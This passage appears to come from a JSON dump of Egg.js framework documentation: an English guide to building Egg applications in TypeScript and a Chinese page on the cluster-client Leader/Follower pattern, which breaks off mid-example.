    "content": "# TypeScript\n\n> [TypeScript](https://www.typescriptlang.org/) is a typed superset of JavaScript that compiles to plain JavaScript.\n\nFor a large number of enterprises' applications, TypeScript's static type checking, intellisense, friendly IDE are valuable. For more please see [System Research Report For TypeScript](https://juejin.im/post/59c46bc86fb9a00a4636f939).\n\nHowever, we've met some problems influencing users' experience when developing Egg in TypeScript:\n\n- The most outstanding Loader Mechanism (Auto-loading) makes TS not analyze dependencies in static.\n- How to validate and show intellisense in `config.{env}.js`, when we modify settings by plugin and these configurations are automatically merged?\n- During the period of developing, `tsc -w` is created as an independent process to build up codes, it makes us entangled about where to save the temporary files, and the complicated `npm scripts`.\n- How to map to the TS source files instead of compiled js files in unit tests, coverage tests and error stacks online?\n\nThis article mainly describes:\n\n- **Developing principles of TS for the application layer.**\n- **How do we solve the problem for developers with the help of the tool chain so that they have no scene about it and keep in consistency**\n\nFor more about this tossing process, please see [[RFC] TypeScript tool support](https://github.com/eggjs/egg/issues/2272).\n\n---\n\n## Quick Start\n\nA quick initialization through the boilerplate:\n\n```bash\n$ mkdir showcase && cd showcase\n$ npm init egg --type=ts\n$ npm i\n$ npm run dev\n```\n\nThe boilerplate above will create a very simple example, for a detailed one please see [eggjs/examples/hackernews-async-ts](https://github.com/eggjs/examples/tree/master/hackernews-async-ts)\n\n![tegg.gif](https://user-images.githubusercontent.com/227713/38358019-bf7890fa-38f6-11e8-8955-ea072ac6dc8c.gif)\n\n---\n\n## Principles of Catalogs\n\n**Some constraints:**\n\n- We've no plans for re-writing Egg in TS yet.\n- Egg itself, with its plugin, will have corresponding `index.d.ts` for users to use easily.\n- TypeScript only belongs to a communication practice. We support it to some extent with our tool chain.\n- TypeScript's version MUST BE 2.8 at least.\n\nThere's no obvious difference between TS's project and Egg's in js:\n\n- The suffix is `ts` in `typescript` style\n- `typings` folder is used to put `d.ts` files (most of them are automatically created)\n\n```bash\nshowcase\n├── app\n│   ├── controller\n│   │   └── home.ts\n│   ├── service\n│   │   └── news.ts\n│   └── router.ts\n├── config\n│   ├── config.default.ts\n│   ├── config.local.ts\n│   ├── config.prod.ts\n│   └── plugin.ts\n├── test\n│   └── **/*.test.ts\n├── typings\n│   └── **/*.d.ts\n├── README.md\n├── package.json\n├── tsconfig.json\n└── tslint.json\n```\n\n### Controller\n\n```typescript\n// app/controller/home.ts\nimport { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  public async index() {\n    const { ctx, service } = this;\n    const page = ctx.query.page;\n    const result = await service.news.list(page);\n    await ctx.render('home.tpl', result);\n  }\n}\n```\n\n### Router\n\n```typescript\n// app/router.ts\nimport { Application } from 'egg';\n\nexport default (app: Application) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n};\n```\n\n### Service\n\n```typescript\n// app/service/news.ts\nimport { Service } from 'egg';\n\nexport default class NewsService extends Service {\n  public async list(page?: number): Promise<NewsItem[]> {\n    return [];\n  }\n}\n\nexport interface NewsItem {\n  id: number;\n  title: string;\n}\n```\n\n### Middleware\n\n```typescript\n// app/middleware/robot.ts\n\nimport { Context } from 'egg';\n\n// Your own middleware here\nexport default function fooMiddleware() {\n  return async (ctx: Context, next: any) => {\n    // Get configs like this：\n    // const config = ctx.app.config;\n    // config.xxx....\n    await next();\n  };\n}\n```\n\nWhen some property's name in config matches your middleware files's, Egg will automatically read out all of its sub properties.\n\nLet's assume you've got a middleware named `uuid`, and its config.default.js is:\n\n```javascript\n'use strict';\n\nimport { EggAppConfig, PowerPartial } from 'egg';\n\nexport default function(appInfo: EggAppConfig) {\n  const config = {} as PowerPartial<EggAppConfig>;\n\n  config.keys = appInfo.name + '123123';\n\n  config.middleware = ['uuid'];\n\n  config.security = {\n    csrf: {\n      ignore: '123',\n    },\n  };\n\n  const bizConfig = {\n    local: {\n      msg: 'local',\n    },\n\n    uuid: {\n      name: 'ebuuid',\n      maxAge: 1000 * 60 * 60 * 24 * 365 * 10,\n    },\n  };\n\n  return {\n    ...config,\n    ...bizConfig,\n  };\n}\n```\n\nIn `uuid` middleware:\n\n```typescript\n// app/middleware/uuid.ts\n\nimport { Context, Application, EggAppConfig } from 'egg';\n\nexport default function uuid(\n  options: EggAppConfig['uuid'],\n  app: Application,\n): any {\n  return async (ctx: Context, next: () => Promise<any>) => {\n    // The 'name' is just the sub prop in uuid in the config.default.js\n    console.info(options.name);\n    await next();\n  };\n}\n```\n\n**Notice: The return value of any middleware must be `any` now, otherwise there's a compiling error about the compatibility of context between Koa's context in route.get/all and Egg's Context.**\n\n### Extend\n\n```typescript\n// app/extend/context.ts\nimport { Context } from 'egg';\n\nexport default {\n  isAjax(this: Context) {\n    return this.get('X-Requested-With') === 'XMLHttpRequest';\n  },\n};\n\n// app.ts\nexport default (app) => {\n  app.beforeStart(async () => {\n    await Promise.resolve('egg + ts');\n  });\n};\n```\n\n### Config\n\nConfig is a little complicated, because it supports:\n\n- In Controller and Service, we need \"multi-layer\" intellisense configurations, they are automatically related to each other.\n- In Config, `config.view = {}` will also support intellisense.\n- In `config.{env}.ts`, we can use customized configuration settings with intellisense in `config.default.ts`.\n\n```typescript\n// app/config/config.default.ts\nimport { EggAppInfo, EggAppConfig, PowerPartial } from 'egg';\n\nexport default (appInfo: EggAppInfo) => {\n  const config = {} as PowerPartial<EggAppConfig>;\n\n  // Override the configs of framework and plugins\n  config.keys = appInfo.name + '123456';\n  config.view = {\n    defaultViewEngine: 'nunjucks',\n    mapping: {\n      '.tpl': 'nunjucks',\n    },\n  };\n\n  // Configs of application\n  const bizConfig = {};\n  bizConfig.news = {\n    pageSize: 30,\n    serverUrl: 'https://hacker-news.firebaseio.com/v0',\n  };\n\n  // We merge the business logic's configs into AppConfig as the return value\n  return {\n    // If we directly return you config and merge it into EggAppConfig, there'll be a circulate type error\n    ...(config as {}),\n    ...bizConfig,\n  };\n};\n```\n\nWhen `EggAppConfig` is merged with the returned type of `config.default.ts`, we can also get the intellisenses of our customized configs in `config.default.ts` like this following:\n\n```typescript\n// app/config/config.local.ts\nimport { EggAppConfig } from 'egg';\n\nexport default () => {\n  const config = {} as PowerPartial<EggAppConfig>;\n  // Now we can get the intellisenses of 'news'\n  config.news = {\n    pageSize: 20,\n  };\n  return config;\n};\n```\n\nRemarks:\n\n- `Conditional Types` is the KEY to solving config's intellisense.\n- Anyone if interested in this, have a look at the implement of `PowerPartial` at [egg/index.d.ts](https://github.com/eggjs/egg/blob/master/index.d.ts).\n\n```typescript\n// {egg}/index.d.ts\ntype PowerPartial<T> = {\n  [U in keyof T]?: T[U] extends {} ? PowerPartial<T[U]> : T[U];\n};\n```\n\n### Plugin\n\n```javascript\n// config/plugin.ts\nimport { EggPlugin } from 'egg';\n\nconst plugin: EggPlugin = {\n  static: true,\n  nunjucks: {\n    enable: true,\n    package: 'egg-view-nunjucks',\n  },\n};\n\nexport default plugin;\n```\n\n### Lifecycle\n\n```typescript\n// app.ts\nimport { Application, IBoot } from 'egg';\n\nexport default class FooBoot implements IBoot {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad() {\n    // Ready to call configDidLoad,\n    // Config, plugin files are referred,\n    // this is the last chance to modify the config.\n  }\n\n  configDidLoad() {\n    // Config, plugin files have loaded.\n  }\n\n  async didLoad() {\n    // All files have loaded, start plugin here.\n  }\n\n  async willReady() {\n    // All plugins have started, can do some thing before app ready.\n  }\n\n  async didReady() {\n    // Worker is ready, can do some things\n    // don't need to block the app boot.\n  }\n\n  async serverDidReady() {\n    // Server is listening.\n  }\n\n  async beforeClose() {\n    // Do some thing before app close.\n  }\n}\n```\n\n### Typings\n\nThe folder is the principle of TS, where `**/*.d.ts` are automatically recognized.\n\n- Put developers' hand-writing suggestions in `typings/index.d.ts`.\n- Tools will automatically generate `typings/{app,config}/**.d.ts`. Please DO NOT change manually (See below).\n\n---\n\n## Developing period\n\n### ts-node\n\n`egg-bin` has built [ts-node](https://github.com/TypeStrong/ts-node) in, and `egg loader` will automatically load `*.ts` and compile them in memory during the period of development.\n\nNow `dev` / `debug` / `test` / `cov` are supported.\n\nDevelopers only need to config in `package.json` simply:\n\n```json\n{\n  \"name\": \"showcase\",\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n```\n\n### Unit Test and Cov\n\nUnit Test is a MUST in development:\n\n```typescript\n// test/app/service/news.test.ts\nimport assert from 'assert';\nimport { Context } from 'egg';\nimport { app } from 'egg-mock/bootstrap';\n\ndescribe('test/app/service/news.test.js', () => {\n  let ctx: Context;\n\n  before(async () => {\n    ctx = app.mockContext();\n  });\n\n  it('list()', async () => {\n    const list = await ctx.service.news.list();\n    assert(list.length === 30);\n  });\n});\n```\n\nRun commands as what you do before, and we've built `Error stacks and coverages` in.\n\n```json\n{\n  \"name\": \"showcase\",\n  \"egg\": {\n    \"declarations\": true\n  },\n  \"scripts\": {\n    \"test\": \"npm run lint -- --fix && npm run test-local\",\n    \"test-local\": \"egg-bin test\",\n    \"cov\": \"egg-bin cov\",\n    \"lint\": \"tslint .\"\n  }\n}\n```\n\n### Debug\n\nThere's no main difference for debugging in TS, it can reach correct positions through `sourcemap`.\n\n```json\n{\n  \"name\": \"showcase\",\n  \"egg\": {\n    \"declarations\": true\n  },\n  \"scripts\": {\n    \"debug\": \"egg-bin debug\",\n    \"debug-test\": \"npm run test-local -- --inspect\"\n  }\n}\n```\n\n- [Debugging in VSCode](https://eggjs.org/zh-cn/core/development.html#%E4%BD%BF%E7%94%A8-vscode-%E8%BF%9B%E8%A1%8C%E8%B0%83%E8%AF%95)\n- [History of Debugging Egg in VSCode](https://github.com/atian25/blog/issues/25)\n\n---\n\n## Deployment\n\n### Building\n\n- In a PROD env, we tend to build ts to js, and recommend to build on `ci` and make packages.\n\nConfigs in `package.json` :\n\n```json\n{\n  \"devDependencies\": {\n    \"@eggjs/tsconfig\": \"3\"\n  },\n  \"egg\": {\n    \"typescript\": true,\n    \"declarations\": true\n  },\n  \"scripts\": {\n    \"start\": \"egg-scripts start --title=egg-server-showcase\",\n    \"stop\": \"egg-scripts stop --title=egg-server-showcase\",\n    \"tsc\": \"ets && tsc -p tsconfig.json\",\n    \"ci\": \"npm run lint && npm run cov && npm run tsc\",\n    \"clean\": \"ets clean\"\n  }\n}\n```\n\nAnd the corresponding `tsconfig.json`:\n\n```json\n{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"exclude\": [\"app/public\", \"app/web\", \"app/views\"]\n}\n```\n\n### Error Stacks\n\nCodes online are js after compilation, however what we expect is to see error stacks pointing at TS source codes. So:\n\n- When buiding the project, we should insert info of `sourcemap` in `inlineSourceMap: true`.\n- For developers, there's no need to worry about correcting the positions to the right error stacks in a built-in `egg-scripts`.\n\nFor more detailed info:\n\n- [https://zhuanlan.zhihu.com/p/26267678](https://zhuanlan.zhihu.com/p/26267678)\n- [https://github.com/eggjs/egg-scripts/pull/19](https://github.com/eggjs/egg-scripts/pull/19)\n\n---\n\n## Guides to the Developments of Plugin/Framework\n\n**Principles:**\n\n- DO NOT recommend to develop plugin/framework in TS directly, we should publish them in js to npm.\n- When you write a plugin/framework, the corresponding `index.d.ts` should be included.\n- By [Declaration Merging](https://www.typescriptlang.org/docs/handbook/declaration-merging.html) we can inject the functions of plugin/framework into Egg.\n- All are mounted on `egg` module, DO NOT use the outer layer.\n\n### The Outer Framework\n\nDefinitions:\n\n```typescript\n// {framework_root}/index.d.ts\n\nimport * as Egg from 'egg';\n\n// With 'import' to include the outer framework's plugin.\nimport 'my-plugin';\n\ndeclare module 'egg' {\n  // Extend egg like plugin...\n}\n\n// Export the whole Egg\nexport = Egg;\n```\n\nFor developers, they can directly import your framework:\n\n```typescript\n// app/service/news.ts\n\n// Developers can get all intellisense after they import your framework\nimport { Service } from 'duck-egg';\n\nexport default class NewsService extends Service {\n  public async list(page?: number): Promise<NewsItem[]> {\n    return [];\n  }\n}\n```\n\n## Frequently-asked questions\n\nHere're some questions asked by many people with answers one by one:\n\n### `ts` won't be loaded when running `npm start`\n\n`npm start` actually runs `egg-scripts start`, however we ONLY integrate `ts-node` in our `egg-bin`, it means ts won'be loaded until we use `egg-bin`.\n\n`egg-scripts` is the cli for PROD, and we suggest you compiling all the ts to js before running because of robustness and capbility. That's the reason why we don't suggest you using `ts-node` to run the application in PROD.\n\nOn the contrary, `ts-node` can reduce the cost of management for compiled files from `tsc`in DEV, and the performance loss can almost be ignored, so `ts-node` is integrated into `egg-bin`.\n\n**In summary: Please use `tsc`to compile all ts files into js through `npm run tsc`, and then run `npm start`.**\n\n### There's no loaded objects when using egg's plugin\n\nThere're mainly two reasons causing this problem:\n\n**1. No related defination `d.ts` file for the plugin**\n\nIf you want to load some object into egg, you MUST follow the `Plugin / Framework Development Instructions` below by making a declaration file into your own plugin.\n\nYou can also create a new declaration file to solve this problem when you are eager to deploy to PROD. Suppose I'm using the plugin of `egg-dashboard` and it has a loading object in egg's app without any declarations, so if you directly use `app.dashboard`, there'll be a type error occuring, and you want to solve it eagerly, you can create `index.d.ts` in 'typings' by writing this following:\n\n```typescript\n// typings/index.d.ts\n\nimport 'egg';\n\ndeclare module 'egg' {\n  interface Application {\n    dashboard: any;\n  }\n}\n```\n\nNow it's solved! Of course your PRs for plugins without declaration files are welcomed to help others!\n\n**2. egg's plugin has the declaration but not loaded**\n\nIf the egg's plugin has the right declaration, we need to import it exclipitly and ts can load the related object.\n\nIf you don't use that, you have to import the declaration of plugins manually.\n\n```typescript\n// typings/index.d.ts\n\nimport 'egg-dashboard';\n```\n\n**Notice: You MUST use 'import' in `d.ts`, because most of egg's plugins are without main entry points. There'll be errors occuring if you import directly in ts.**\n\n### `paths` is invalid in `tsconfig.json`\n\nStrictly speaking, this has nothing to do with egg but with many people's questions, and we'll give our answer to it. The reason is `tsc` WON'T convert the import path when compiling ts to js, so when you config `paths` in `tsconfig.json` and if you use `paths` to import the related modules, you are running the high risk that you cannot find them when compiled to js.\n\nThe solution is either you don't use `paths`, or you can ONLY import some declarations instead of detailed values. Another way is that you can use [tsconfig-paths](https://github.com/dividab/tsconfig-paths) to hook the process logic in node's path module to support `paths` in `tsconfig.json`.\n\nYou can directly import `tsconfig-paths` in `config/plugin.ts`, because `plugin.ts` is ALWAYS loaded firstly in both App and Agent.\n\n```typescript\n// config/plugin.ts\n\nimport 'tsconfig-paths/register';\n\n...\n```\n\n### How to write unit tests for declarations of egg's plugins?\n\nMany contributors don't know how to write unit tests for their plugin's declaration files, so we also have a discussion about it here:\n\nWhen you finish writing a declaration for an egg's plugin, you can write your own application in `test/fixures` (you can refer [https://github.com/eggjs/egg-view/tree/master/test/fixtures/apps/ts](https://github.com/eggjs/egg-view/tree/master/test/fixtures/apps/ts)). Do remember to add `paths`configs into `tsconfig.json` to do imports in the fixture. Take `egg-view` as an example:\n\n```json\n    \"paths\": {\n      \"egg-view\": [\"../../../../\"]\n    }\n```\n\nDo remember DO NOT CONFIG `\"skipLibCheck\": true` in the `tsconfig.json`, and if you set it to true, `tsc`will ignore the type checks when compiling, and there's no meaning for unit tests for your plugin's declarations.\n\nIn the end, add a test case to check whether your declaration works properly or not. See `egg-view` example below:\n\n```js\ndescribe('typescript', () => {\n  it('should compile ts without error', () => {\n    return (\n      coffee\n        .fork(require.resolve('typescript/bin/tsc'), [\n          '-p',\n          path.resolve(__dirname, './fixtures/apps/ts/tsconfig.json'),\n          '--noEmit',\n        ])\n        // .debug()\n        .expect('code', 0)\n        .end()\n    );\n  });\n});\n```\n\nSome other unit test projects as your references:\n\n- [https://github.com/eggjs/egg](https://github.com/eggjs/egg)\n- [https://github.com/eggjs/egg-view](https://github.com/eggjs/egg-view)\n- [https://github.com/eggjs/egg-logger](https://github.com/eggjs/egg-logger)\n\n### Slow Compilation?\n\nAccording to our practice, ts-node is a better solution nowaday because we don't execute\ntsc in a new terminal, and we can accept the start speed (only for ts-node@7, because the\nnew version has removed the cache and it makes the speed too slow ([#754](https://github.com/TypeStrong/ts-node/issues/754)), so that's why we don't upgrade it).\n\nBut if your project is extreamly huge, ts-node's performance will be tight as well.\nSo here're our optimizations for you:\n\n#### Close typecheck\n\nMost of time in compilation is type checking, so if we close it there'll be\na bit improvements for performance, with the environment variable\n`TS_NODE_TRANSPILE_ONLY=true` when starting your app. E.g:\n\n```bash\n$ TS_NODE_TRANSPILE_ONLY=true egg-bin dev\n```\n\nOr you can just make tscompiler as the \"Compiling-Only\" for tscompiler.\n\n```json\n// package.json\n{\n  \"name\": \"demo\",\n  \"egg\": {\n    \"typescript\": true,\n    \"declarations\": true,\n    \"tscompiler\": \"ts-node/register/transpile-only\"\n  }\n}\n```\n\n#### Switch for a high efficient compiler\n\nBesides ts-node, There're also many projects supporting ts compilation,\nsuch as esbuild, we can install it first [esbuild-register](https://github.com/egoist/esbuild-register)\n\n```bash\n$ npm install esbuild-register --save-dev\n```\n\nAnd then config `tscompiler` like this:\n\n```json\n// package.json\n{\n  \"name\": \"demo\",\n  \"egg\": {\n    \"typescript\": true,\n    \"declarations\": true,\n    \"tscompiler\": \"esbuild-register\"\n  }\n}\n```\n\nThen you can use esbuild-register to compile (notice: esbulild-register can't\ndo typecheck).\n\n> Same for swc, if you want to use it after installation [@swc-node/register](https://github.com/Brooooooklyn/swc-node#swc-noderegister), and then config in tscompiler.\n\n#### Use tsc\n\nIf you still cannot bear the speed of the dynamic compilation, you can directly\nuse tsc. This means you don't need to config typescript to true in package.json,\nbut just start a new terminal to execute tsc.\n\n```bash\n$ tsc -w\n```\n\nAnd then start the egg.\n\n```bash\n$ egg-bin dev\n```\n\nWe suggest you can add configs for `**/*.js` at .gitignore to avoid\nsubmitting the generated js files to the remote.\n"
  },
  {
    "path": "site/docs/zh-CN/advanced/cluster-client.md",
    "content": "# 多进程研发模式增强\n\n在前面的 [多进程模型章节](../core/cluster-and-ipc.md) 中，我们详细讲述了框架的多进程模型。适合使用 Agent 进程的，有一类常见的场景：一些中间件客户端需要和服务器建立长连接。理论上，一台服务器最好只建立一个长连接，但多进程模型会导致 n 倍（n = Worker 进程数）的连接被创建。\n\n```bash\n+--------+   +--------+\n| Client |   | Client |   ... n\n+--------+   +--------+\n    |  \\     /   |\n    |    \\ /     |        n * m 个链接\n    |    / \\     |\n    |  /     \\   |\n+--------+   +--------+\n| Server |   | Server |   ... m\n+--------+   +--------+\n```\n\n为了尽可能地复用长连接（因为它们对于服务端来说是非常宝贵的资源），我们会把它放到 Agent 进程里维护，然后通过 messenger 将数据传递给各个 Worker。这种做法是可行的，但往往需要写大量代码去封装接口和实现数据的传递，非常麻烦。\n\n另外，通过 messenger 传递数据效率较低，因为它会通过 Master 来做中转；万一 IPC 通道出现问题，还可能把 Master 进程弄挂。\n\n那么有没有更好的方法呢？答案是肯定的，我们提供了一种新的模式来降低这类客户端封装的复杂度。通过建立 Agent 和 Worker 的 socket 直连，跳过 Master 的中转，Agent 作为对外的门面，维持多个 Worker 进程的共享连接。\n\n## 核心思想\n\n- 受到 [Leader/Follower](https://www.dre.vanderbilt.edu/~schmidt/PDF/lf.pdf) 模式的启发。\n- 客户端会被区分为两种角色：\n  - Leader：负责和远程服务端维持连接，对于同一类的客户端只有一个 Leader。\n  - Follower：会将具体的操作委托给 Leader，常见的是订阅模型（让 Leader 和远程服务端交互，并等待其返回）。\n- 如何确定谁是 Leader，谁是 Follower 呢？有两种模式：\n  - 自由竞争模式：客户端启动时通过本地端口的争夺来确定 Leader。例如：大家都尝试监听 7777 端口，最后只有一个实例抢占到，那它就变成了 Leader，其余的都是 Follower。\n  - 强制指定模式：框架指定某一个 Leader，其余的就是 Follower。\n- 框架里面我们采用的是强制指定模式，Leader 只能在 Agent 里面创建，这也符合我们对 Agent 的定位。\n- 框架启动时，Master 会随机选择一个可用的端口作为 Cluster Client 监听的通讯端口，并将它通过参数传递给 Agent 和 App Worker。\n- Leader 和 Follower 之间通过 socket 直连（通过通讯端口），不再需要 Master 中转。\n\n新的模式下，客户端的通信方式如下：\n\n```js\n             +-------+\n             | start |\n             +---+---+\n                 |\n        +--------+---------+\n      __| 端口竞争         |__\nwin /   +------------------+  \\ lose\n   /                           \\\n+---------------+     tcp 连接   +-------------------+\n| Leader(Agent) |<---------------->| Follower(Worker1) |\n+---------------+                  +-------------------+\n    |            \\ tcp 连接\n    |             \\\n+--------+         +-------------------+\n| Client |         | Follower(Worker2) |\n+--------+         +-------------------+\n```\n\n## 客户端接口类型抽象\n\n我们将客户端接口抽象为以下两大类，这也是对客户端接口的一个规范，对于符合规范的客户端，我们可以自动将其包装为 Leader/Follower 模式。\n\n- 订阅、发布类（subscribe / publish）：\n  - `subscribe(info, listener)` 接口包含两个参数，第一个是订阅的信息，第二个是订阅的回调函数。\n  - `publish(info)` 接口包含一个参数，即订阅的信息。\n\n- 调用类（invoke），支持 `callback`，`Promise` 和 `async function` 三种风格的接口，但是推荐使用 `async function`。\n\n客户端示例\n\n```js\nconst { Base } = require('sdk-base');\n\nclass Client extends Base {\n  constructor(options) {\n    super(options);\n    // 在初始化成功后，记得要调用 ready\n    this.ready(true);\n  }\n\n  /**\n   * 订阅\n   *\n   * @param {Object} info - 订阅的信息（一个 JSON 对象，注意尽量不包含 Function、Buffer、Date 这类属性）\n   * @param {Function} listener - 监听的回调函数，它接收一个参数，就是监听到的结果对象。\n   */\n  subscribe(info, listener) {\n    // ...\n  }\n\n  /**\n   * 发布\n   *\n   * @param {Object} info - 发布的信息，与 subscribe 方法中的 info 类似。\n   */\n  publish(info) {\n    // ...\n  }\n\n  /**\n   * 获取数据（invoke）\n   *\n   * @param {String} id - ID\n   * @return {Object} - 结果对象\n   */\n  async getData(id) {\n    // ...\n  }\n}\n```\n\n## 异常处理\n\n- 如果 Leader 实例“死掉”，将触发新一轮的端口争夺。争夺到端口的实例将被推举为新的 Leader。\n- 为了保证 Leader 和 Follower 之间通道的健康，需要引入定时的心跳检查机制。如果 Follower 在固定时间内未发送心跳包，Leader 会将其主动断开，以触发 Follower 的重新初始化。\n\n## 协议和调用时序\n\nLeader 和 Follower 通过下面的协议进行数据交换：\n\n```js\n 0       1       2               4                                                              12\n +-------+-------+---------------+---------------------------------------------------------------+\n | version | req/res |    reserved   |                          request id                           |\n +-------------------------------+-------------------------------+-------------------------------+\n |           timeout            |   connection object length  |   application object length   |\n +-------------------------------+---------------------------------------------------------------+\n |         conn object (JSON format)  ...                    |            app object             |\n +-----------------------------------------------------------+                                   |\n |                                          ...                                                  |\n +-----------------------------------------------------------------------------------------------+\n```\n\n1. 在通讯端口上，Leader 启动一个 Local Server，所有的 Leader/Follower 通讯都经过 Local Server。\n2. Follower 连接上 Local Server 后，首先发送一个 register channel 的 packet（引入 channel 的概念是为了区分不同类型的客户端）。\n3. Local Server 会将 Follower 分配给指定的 Leader（根据客户端类型进行配对）。\n4. Follower 向 Leader 发送订阅、发布请求。\n5. Leader 在订阅数据变更时，通过 subscribe result packet 通知 Follower。\n6. Follower 向 Leader 发送调用请求，Leader 收到后执行相应操作并返回结果。\n\n```js\n +----------+             +---------------+          +---------+\n | Follower |             |  Local Server |          |  Leader |\n +----------+             +---------------+          +---------+\n      |     register channel     |       assign to        |\n      + -----------------------> |  --------------------> |\n      |                          |                        |\n      |                             subscribe             |\n      + ------------------------------------------------> |\n      |                             publish               |\n      + ------------------------------------------------> |\n      |                                                   |\n      |       subscribe result                            |\n      | <------------------------------------------------ +\n      |                                                   |\n      |                             invoke                |\n      + ------------------------------------------------> |\n      |          invoke result                            |\n      | <------------------------------------------------ +\n      |                                                   |\n```\n\n## 具体的使用方法\n\n下面我用一个简单的例子，介绍在框架里面如何让一个客户端支持 Leader/Follower 模式：\n\n- 第一步，我们的客户端最好是符合上面提到过的接口约定，例如：\n\n```js\n// registry_client.js\nconst { parse } = require('node:url');\nconst { Base } = require('sdk-base');\n\nclass RegistryClient extends Base {\n  constructor(options) {\n    super({\n      // 指定异步启动的方法\n      initMethod: 'init',\n    });\n    this._options = options;\n    this._registered = new Map();\n  }\n\n  /**\n   * 启动逻辑\n   */\n  async init() {\n    this.ready(true);\n  }\n\n  /**\n   * 获取配置\n   * @param {String} dataId - 数据 ID\n   * @return {Object} 配置\n   */\n  async getConfig(dataId) {\n    return this._registered.get(dataId);\n  }\n\n  /**\n   * 订阅\n   * @param {Object} reg\n   *   - {String} dataId - 数据 ID\n   * @param {Function} listener - 监听器函数\n   */\n  subscribe(reg, listener) {\n    const key = reg.dataId;\n    this.on(key, listener);\n\n    const data = this._registered.get(key);\n    if (data) {\n      process.nextTick(() => listener(data));\n    }\n  }\n\n  /**\n   * 发布\n   * @param {Object} reg\n   *   - {String} dataId - 数据 ID\n   *   - {String} publishData - 要发布的数据\n   */\n  publish(reg) {\n    const key = reg.dataId;\n    let changed = false;\n\n    if (this._registered.has(key)) {\n      const arr = this._registered.get(key);\n      if (arr.indexOf(reg.publishData) === -1) {\n        changed = true;\n        arr.push(reg.publishData);\n      }\n    } else {\n      changed = true;\n      this._registered.set(key, [reg.publishData]);\n    }\n    if (changed) {\n      this.emit(\n        key,\n        this._registered.get(key).map((url) => parse(url, true)),\n      );\n    }\n  }\n}\n\nmodule.exports = RegistryClient;\n```\n\n- 第二步，使用 `agent.cluster` 接口对 `RegistryClient` 进行封装：\n\n```js\n// agent.js\nconst RegistryClient = require('./registry_client');\n\nmodule.exports = (agent) => {\n  // 对 RegistryClient 进行封装和实例化\n  agent.registryClient = agent\n    .cluster(RegistryClient)\n    // create 方法的参数就是 RegistryClient 构造函数的参数\n    .create({});\n\n  agent.beforeStart(async () => {\n    await agent.registryClient.ready();\n    agent.coreLogger.info('注册客户端已就绪');\n  });\n};\n```\n\n- 第三步，使用 `app.cluster` 接口对 `RegistryClient` 进行封装：\n\n```js\n// app.js\nconst RegistryClient = require('./registry_client');\n\nmodule.exports = (app) => {\n  app.registryClient = app.cluster(RegistryClient).create({});\n  app.beforeStart(async () => {\n    await app.registryClient.ready();\n    app.coreLogger.info('注册客户端已就绪');\n\n    // 调用 subscribe 进行订阅\n    app.registryClient.subscribe(\n      {\n        dataId: 'demo.DemoService',\n      },\n      (val) => {\n        // ...\n      },\n    );\n\n    // 调用 publish 发布数据\n    app.registryClient.publish({\n      dataId: 'demo.DemoService',\n      publishData: 'xxx',\n    });\n\n    // 调用 getConfig 获取配置\n    const res = await app.registryClient.getConfig('demo.DemoService');\n    console.log(res);\n  });\n};\n```\n\n是不是很简单？\n\n当然，如果你的客户端不是那么“标准”，那你可能需要用到其他一些 API，比如你的订阅函数不叫 `subscribe` 而是叫 `sub`：\n\n```js\nclass MockClient extends Base {\n  constructor(options) {\n    super({\n      initMethod: 'init',\n    });\n    this._options = options;\n    this._registered = new Map();\n  }\n\n  async init() {\n    this.ready(true);\n  }\n\n  sub(info, listener) {\n    const key = info.dataId;\n    this.on(key, listener);\n\n    const data = this._registered.get(key);\n    if (data) {\n      process.nextTick(() => listener(data));\n    }\n  }\n\n  // ...\n}\n```\n\n你需要通过 `delegate`（API 代理）手动设置这个委托：\n\n```js\n// agent.js\nmodule.exports = (agent) => {\n  agent.mockClient = agent\n    .cluster(MockClient)\n    // 将 sub 代理到 subscribe\n    .delegate('sub', 'subscribe')\n    .create();\n\n  agent.beforeStart(async () => {\n    await agent.mockClient.ready();\n  });\n};\n```\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.mockClient = app\n    .cluster(MockClient)\n    // 将 sub 代理到 subscribe\n    .delegate('sub', 'subscribe')\n    .create();\n\n  app.beforeStart(async () => {\n    await app.mockClient.ready();\n\n    app.mockClient.sub({ id: 'test-id' }, (val) => {\n      // 请把你的代码放在这里\n    });\n  });\n};\n```\n\n我们已经理解，通过 `cluster-client` 可以让我们在不理解多进程模型的情况下开发“纯粹”的 `RegistryClient`，只负责和服务端进行交互，然后使用 `cluster-client` 进行简单的封装就可以得到一个支持多进程模型的 `ClusterClient`。这里的 `RegistryClient` 实际上是一个专门负责和远程服务通信进行数据通信的 `DataClient`。\n\n大家可能已经发现，`ClusterClient` 同时带来了一些约束，如果想在各进程暴露同样的方法，那么 `RegistryClient` 上只能支持 sub/pub 模式以及异步的 API 调用。因为在多进程模型中所有的交互都必须经过 socket 通信，势必带来了这一约束。\n\n假设我们要实现一个同步的 get 方法，订阅过的数据直接放入内存，使用 get 方法时直接返回。要怎么实现呢？而真实情况可能比这更复杂。\n\n在这里，我们引入一个 `APIClient` 的最佳实践。对于有读取缓存数据等同步 API 需求的模块，在 `RegistryClient` 基础上再封装一个 `APIClient` 来实现这些与远程服务端交互无关的 API，暴露给用户使用的是这个 `APIClient` 的实例。\n\n在 `APIClient` 内部实现上：\n\n- 异步数据获取，通过调用基于 `ClusterClient` 的 `RegistryClient` 的 API 实现。\n- 同步调用等与服务端无关的接口在 `APIClient` 上实现。由于 `ClusterClient` 的 API 已经抹平了多进程差异，所以在开发 `APIClient` 调用到 `RegistryClient` 时也无需关心多进程模型。\n\n例如，在模块的 `APIClient` 中增加带缓存的 get 同步方法：\n\n```js\n// some-client/index.js\nconst cluster = require('cluster-client');\nconst RegistryClient = require('./registry_client');\n\nclass APIClient extends Base {\n  constructor(options) {\n    super(options);\n\n    // options.cluster 用于给 Egg 的插件传递 app.cluster\n    this._client = (options.cluster || cluster)(RegistryClient).create(options);\n    this._client.ready(() => this.ready(true));\n\n    this._cache = {};\n\n    // subMap 的例子：\n    // {\n    //   foo: reg1,\n    //   bar: reg2,\n    // }\n    const subMap = options.subMap;\n\n    for (const key in subMap) {\n      this.subscribe(subMap[key], (value) => {\n        this._cache[key] = value;\n      });\n    }\n  }\n\n  subscribe(reg, listener) {\n    this._client.subscribe(reg, listener);\n  }\n\n  publish(reg) {\n    this._client.publish(reg);\n  }\n\n  get(key) {\n    return this._cache[key];\n  }\n}\n\n// 